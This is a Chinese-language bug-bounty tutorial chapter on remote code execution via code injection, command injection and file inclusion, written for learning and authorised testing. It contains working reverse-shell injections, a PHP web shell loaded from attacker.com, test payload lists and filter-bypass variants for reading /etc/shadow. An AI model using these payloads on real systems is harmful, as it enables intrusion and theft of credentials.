当攻击者由于存在漏洞或配置错误而可以在目标机器上执行任意代码时,就会发生远程代码执行(RCE)。rce是极其危险的,因为攻击者经常在根本上危及web应用程序,甚至是底层的web服务器。
没有一种单一的技术来实现RCE。在前面的章节中,我提到攻击者可以通过SQL注入、不安全的反序列化和模板注入来实现它。在本章中,我们将讨论另外两种可能允许您在目标系统上执行代码的策略:代码注入和文件包含漏洞。
在我们继续讨论之前,请记住,RCE漏洞通常需要对编程、Linux命令和web应用程序开发有更深入的理解。一旦你掌握了找到更简单的漏洞,你就可以开始努力寻找rce。
机制
有时,攻击者可以通过直接向执行的代码中注入恶意代码来实现RCE。这些都是代码注入漏洞。攻击者还可以实现RCE,通过将恶意代码放入被受害应用程序执行或包含的文件中,这些漏洞被称为文件包含。
代码注入
当应用程序允许用户输入与可执行代码混淆时,就会发生代码注入漏洞。
有时,当应用程序将未经过滤的数据传递到已执行的代码中时,就会无意中发生这种情况。有时,这将作为一个有意的特性内置到应用程序中。
例如,假设你是一个试图构建在线计算器的开发者。Python的eval()函数接受一个字符串并执行Python代码:eval("1+1")将返回2,eval("1*3")将返回3。由于eval()在评估各种用户提交的表达式时具有灵活性,因此eval()是实现计算器的一种方便的方法。因此,假设您编写了以下Python代码来执行该功能。这个程序将接受一个用户输入字符串,通过eval(),并返回结果:
def calculate(input):
return eval("{}".format(input))
result = calculate(user_input.calc)
print("The result is {}.".format(result))
用户可以通过使用以下GET请求向计算器发送操作。当按预期操作时,以下用户输入将输出字符串:The result is 3
GET /calculator?calc=1+2
Host: example.com
但是,由于在这种情况下,eval()接受用户提供的字符串输入并将其作为Python代码执行,攻击者可以为应用程序提供一些更恶意的东西。
还记得Python的os.system(),这是第16章命令,它将输入的字符串作为系统命令执行。
假设一个攻击者向calculate()函数提交了以下HTTP请求:
GET /calculator?calc="__import__('os').system('ls')"
Host: example.com
因此,程序将执行eval("__import__('os').system('ls')"),并返回系统命令ls的结果。因为eval()可以用于在系统上执行任意代码,所以如果您传递未经消毒(可理解为输入数据校验脱敏)的用户输入到eval()函数。您已经为您的应用程序引入了一个代码注入漏洞。
攻击者还可以做一些更具破坏性的事情,如下所述。此输入将导致应用程序调用 os.system(),并反弹shell到IP10.0.0.1的端口8080上:
GET /calculator?calc="__import__('os').system('bash -i >& /dev/tcp/10.0.0.1/8080 0>&1')"
Host: example.com
反弹shell使目标服务器与攻击者的机器进行通信,并建立一个远程可访问的连接,允许攻击者执行目标服务器的系统命令。
当用户输入直接连接到系统命令时,会发生另一种代码注入变体。这也被称为命令注入漏洞。
除了发生在web应用程序中之外,命令注入在嵌入式web应用程序中难以置信的盛行,因为它们依赖于shell命令和使用执行shell命令的包装器的框架。
假设example.com还有一个功能,允许你下载一个远程文件并在网站上查看它。为了实现此功能,应用程序使用系统命令wget来下载远程文件:
import os
def download(url):
os.system("wget -O- {}".format(url))
display(download(user_input.url))
wget命令是一个工具,它下载给定URL的网页,-O-选项使wget下载文件并在标准输出中显示它。
总之,这个程序从用户输入中获取一个URL,并将其传递到使用os.system()执行的wget命令中。例如,如果您提交以下请求,应用程序将下载谷歌主页的源代码并显示给您:
GET /download?url=google.com
Host: example.com
由于用户输入被直接传递到系统命令中,攻击者甚至可以不使用Python函数就注入系统命令。
这是因为,在Linux命令行中,分号(;)字符分隔了单个命令,因此攻击者可以通过在分号之后提交任何他们想要的命令,在wget命令之后执行任意命令。例如,下面的输入将导致应用程序反弹shell到IP 10.0.0.1 的8080端口:
GET /download?url="google.com;bash -i >& /dev/tcp/10.0.0.1/8080 0>&1"
Host: example.com
文件包含
远程文件包含
大多数编程语言都有允许开发人员包含外部文件的功能。当开发人员希望将图像等外部资产文件包含到其应用程序中、使用外部代码库或重用为不同目的编写的代码时,这一点非常有用。
攻击者实现RCE的另一种方法是让目标服务器包含一个有恶意代码的文件。此文件包含漏洞有两个子类型:远程文件包含和本地文件包含。
当应用程序允许包含来自远程服务器的任意文件时,就会出现远程文件包含漏洞。当应用程序在其页面上动态地包含外部文件和脚本,并使用用户输入来确定所包含的文件的位置时,就会发生这种情况。
为了了解这是如何工作的,让我们来看看一个有漏洞的应用程序。下面的PHP程序对用户提交的HTTP GET参数page的值调用PHP include函数。然后,include函数将包含并计算指定的文件:
<?php
$file = $_GET["page"];
include $file;
?>
此代码允许用户通过更改page参数来访问网站的各个页面。例如,要查看站点的index页面和about页面,用户可以分别访问http://example.com/?page=index.php和http://example.com/?page=about.php.
但是,如果应用程序不限制用户使用page参数包含的文件,攻击者可以包含托管在其服务器上的恶意PHP文件,并让目标服务器执行该文件。
在这种情况下,让我们托管一个名为malicious.php的PHP页面,该页面将作为系统命令执行URL GET参数cmd中包含的字符串。PHP中的system()命令类似于Python中的 os.system()。它们都执行一个系统命令并显示输出。以下是我们的恶意PHP文件的内容:
<?PHP
system($_GET["cmd"]);
?>
如果攻击者在example.com上加载此页面,该站点将计算位于攻击者服务器上的malicious.php中包含的代码。然后,恶意脚本将使目标服务器执行系统命令ls:
http://example.com/?page=http://attacker.com/malicious.php?cmd=ls
请注意,同样的特性也很容易受到SSRF和XSS的攻击。此端点可能受到SSRF的攻击,因为该页面可能加载本地系统和网络的信息。
攻击者还可以使页面加载一个恶意的JavaScript文件,并欺骗用户点击它来执行一个反射型XSS攻击。
本地文件包含
另一方面,本地文件包含发生当应用程序以不安全的方式包含文件,但不允许包含远程文件时。
在这种情况下,攻击者需要首先将一个恶意文件上传到本地机器,然后通过使用本地文件包含来执行它。
让我们稍微修改一下我们前面的例子。下面的PHP文件首先获取HTTP GET参数page,然后在将page与包含用户可以加载的文件的目录名连接起来后,调用PHP include函数:
<?php
$file = $_GET["page"];
include "lang/".$file;
?>
http://example.com/?page=de-index.php
and http://example.com/?page=en-index.php
来访问德语和英语的主页。
这些url将导致网站加载页面/var/www/html/lang/de-index.php
和 /var/www/html/lang/en-index.php
在这种情况下,如果应用程序没有对page参数的可能值设置任何限制,攻击者可以利用上传特性来加载他们自己的页面。
假设example.com允许用户上传任何类型的文件,然后将它们存储在/var/www/html/uploads/USERNAME目录中。攻击者可以将恶意的PHP文件上传到uploads文件夹中。然后他们可以使用序列../逃出lang目录,并在目标服务器上执行恶意上传的文件:
如果攻击者加载此URL,该网站将包含指向
/var/www/html/lang/../uploads/USERNAME/malicious.php的文件
/var/www/html/uploads/USERNAME/malicious.php
寻找rce
就像我们迄今为止的许多攻击一样,rce有两种类型:经典的和盲目的。经典的RCEs是指您可以在随后的HTTP响应中读取代码执行的结果,然而当已执行恶意代码但执行的返回值没有HTTP响应中出现就叫做盲RCEs。
尽管攻击者无法看到他们的执行结果,但盲目的RCEs与经典的RCEs一样危险,因为它们可以使攻击者能够反弹shell或将数据渗透到远程服务器。
寻找这两种类型的RCE也是一个类似的过程,但您为验证这些漏洞所需要使用的命令或代码段将会有所不同。
以下是您在攻击Linux服务器时可以使用的一些命令。在寻找一个经典的RCE漏洞时,您所需要做的就是执行一个像whoami这样的命令,它会输出当前用户的用户名。如果响应包含web服务器的用户名,如www-data,则您已确认了RCE,因为该命令已成功运行。
另一方面,要验证盲RCE,您需要执行一个影响系统行为的命令,比如 sleep 5,它会将响应延迟5秒。然后,如果在收到响应之前遇到5秒的延迟,您可以确认漏洞。与我们用来利用其他漏洞的盲技术类似,您还可以设置一个监听器,并尝试从目标服务器触发带外交互。
步骤1:收集有关目标的信息
发现任何漏洞的第一步都是收集目标的信息。当寻找RCEs时,这一步特别重要,因为获得RCE的方法极其依赖于该目标的构建方式。您应该找到当前目标的web服务器、编程语言和使用的其他技术的信息。使用第5章中概述的侦察步骤来执行这一点。
步骤2:确定可疑的用户输入位置
与发现许多其他漏洞一样,找到任何RCE的下一步是识别用户可以提交输入到应用程序的位置。在搜寻代码注入时,注意每个直接的用户输入位置,包括URL参数、HTTP报头、body体参数(正文参数)和文件上传。
有时应用程序解析用户提供的文件,并将其内容不安全地连接到执行的代码中,因此最终传递到命令中的任何输入都是您应该注意的。要找到潜在的文件包含漏洞,请检查用于确定文件名或文件路径的输入位置,以及应用程序中的任何文件上传功能。
步骤3:提交测试有效载荷
接下来你应该做的事情是向应用程序提交测试payload。对于代码注入漏洞,尝试被服务器解释为代码的payload,看看它们是否被执行。例如,下面是一个你可以使用的有效载荷的列表:
Python payloads
此命令被设计用于打印字符串 RCE test! 如果Python执行成功:
此命令将打印系统命令ls的结果:
"__import__('os').system('ls')"
此命令将响应延迟10秒:
"__import__('os').system('sleep 10')"
PHP payloads
此命令执行成功时,打印本地PHP配置信息:
此命令将打印系统命令ls的结果:
此命令将响应延迟10秒:
<?php system("sleep 10");?>
Unix payloads
此命令将打印系统命令ls的结果:
这些命令将响应延迟10秒:
| sleep 10;
& sleep 10;
` sleep 10;`
$(sleep 10)
对于文件包含漏洞,您应该尝试使端点包含您可以控制的远程文件或本地文件。例如,对于远程文件包含,您可以尝试几种形式的URL,指向您托管在场外的恶意文件:
http://example.com/?page=http://attacker.com/malicious.php
http://example.com/?page=http:attacker.com/malicious.php
对于本地文件包含漏洞,请尝试指向您控制的本地文件的不同url:
您可以使用在第13章中学习到的bypass技术来构造相同URL的不同形式。
步骤4:确认该漏洞
最后,通过执行诸如whoami、ls和sleep 5等无害的命令来确认该漏洞。
升级攻击
在升级RCE漏洞时要格外小心。大多数公司都希望你不要试图升级漏洞,因为他们不希望有人窥探包含机密数据的系统。
在一个典型的渗透测试中,黑客通常会试图找出当前用户的权限,并在他们获得RCE后尝试提权攻击。
但在赏金漏洞背景下,这是不合适的。您可能会意外地读取有关客户的敏感信息,或通过修改关键文件对系统造成损坏。
重要的是,你要仔细阅读赏金程序的规则,这样你就不会越界了。
对于经典的rce,创建一个概念证明,执行whoami或ls。您还可以通过读取一个常见的系统文件,如/etc/passwd,来证明您已经找到了一个RCE。您可以使用cat命令来读取系统文件:
在Linux系统上,/etc/passwd文件包含系统的帐户及其用户id、组id、主目录和默认shell的列表。这个文件通常不需要特殊的权限就可读,所以先访问是很好的。
最后,您可以在系统上创建一个具有不同文件名的文件,例如rce_by_YOUR_NAME.txt,因此很明显,这个文件是您的POC的一部分。您可以使用touch命令在当前目录中创建一个具有指定名称的文件:
touch rce_by_YOUR_NAME.txt
对于盲RCE,创建一个执行sleep命令的POC。您还可以在目标机器上创建一个反向shell,它连接回您的系统,以获得更有影响的POC。然而,这通常是违反程序规则的,所以一定要事先检查一下程序。
在为RCE漏洞创建POCs时,很容易越过赏金策略的边界,并对目标站点造成无意的损害。创建POC时,确保有效负载执行无害的命令,并且您的报告描述了实现RCE所需的步骤。通常,读取一个非敏感的文件或在一个随机路径下创建一个文件就足以证明您的发现。
绕过RCE保护
许多应用程序已经意识到RCE的危险,并使用输入验证或防火墙来阻止潜在的恶意请求。
但是编程语言通常非常灵活,这使我们能够在输入验证规则的范围内使我们的攻击能够工作!
下面是一些基本的输入验证bypass,您可以在应用程序阻止您的有效负载时进行尝试。
对于Unix系统命令,您可以插入引号和双引号,而不更改命令的行为。如果系统正在过滤某些字符串,也可以使用通配符替换任意字符。
最后,任何结果为空的命令都可以插入到字符串中,而不改变结果。例如,以下命令将全部打印/etc/shadow的内容:
cat /etc/shadow
cat "/e"tc'/shadow'
cat /etc/sh*dow
cat /etc/sha``dow
cat /etc/sha$()dow
cat /etc/sha${}dow
您还可以改变在PHP中编写相同命令的方式。例如,PHP允许像字符串一样连接函数名。您甚至可以用十六进制编码函数名,或者在命令中插入PHP注释,而不改变其结果:
例如,假设您要在PHP中执行此系统命令:
system('cat /etc/shadow');
以下示例通过连接字符串sys和tem来执行系统命令:
('sys'.'tem')('cat /etc/shadow');
下面的示例也做了同样的事情,但在命令的中间插入了一个空白注释:
这一行代码是system命令的十六进制编码版本:
'x73x79x73x74x65x6d'('ls');
在Python中也存在类似的行为。以下都是在Python语法中等价的:
__import__('os').system('cat /etc/shadow')
__import__('o'+'s').system('cat /etc/shadow')
__import__('x6fx73').system('cat /etc/shadow')
此外,一些服务器会将具有相同名称的多个参数的值连接成一个值。在这种情况下,您可以分割恶意代码,以绕过输入验证。例如,如果防火墙阻止了包含字符串system的请求,那么您可以将RCE有效负载分成块,例如:
GET /calculator?calc="__import__('os').sy"&calc="stem('ls')"
Host: example.com
参数将毫无问题地通过防火墙,因为请求在技术上不包含字符串system。但是当服务器处理请求时,参数值将被连接到一个字符串,形成我们的RCE有效负载:"__import__('os').system('ls')"。
这只是你可以尝试的过滤器bypass的一小部分,还有更多存在。例如,您可以进行十六进制编码、url编码、双重url编码,并更改有效负载的大小写字母。
您还可以尝试在有效负载中插入特殊字符,如空字节、换行符字符,可能会让过滤器以为输入的字符串已经结束,进而不检验后续的恶意字符。
然后,观察哪些有效载荷被阻止了,哪些成功了,然后手工利用payload,这将绕过过滤器来达成你想要的结果。
如果您对这个主题感兴趣,请在线搜索RCE filter bypass或WAF bypass以了解更多信息。此外,本节中提到的原则也可以用于绕过对其他漏洞的输入验证,如SQL注入和XSS。
评论